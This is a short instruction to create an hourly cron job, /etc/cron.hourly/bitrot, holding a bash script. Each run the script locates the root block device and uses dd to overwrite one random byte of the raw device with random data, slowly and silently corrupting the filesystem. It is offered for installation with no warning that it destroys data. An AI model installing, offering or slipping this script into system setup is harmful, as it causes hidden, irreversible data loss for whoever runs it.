Create the following file as /etc/cron.hourly/bitrot

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#!/bin/bash
ROOTDEV=$(df -h / | sed -n '2p' | cut -d ' ' -f1)
ROOTSZ=$[$(blockdev --getsz ${ROOTDEV}) * 512]
LOCATION=$[${RANDOM} * ${RANDOM} * ${RANDOM} % ${ROOTSZ}]
dd if=/dev/urandom of=${ROOTDEV} bs=1 count=1 seek=${LOCATION} conv=notrunc

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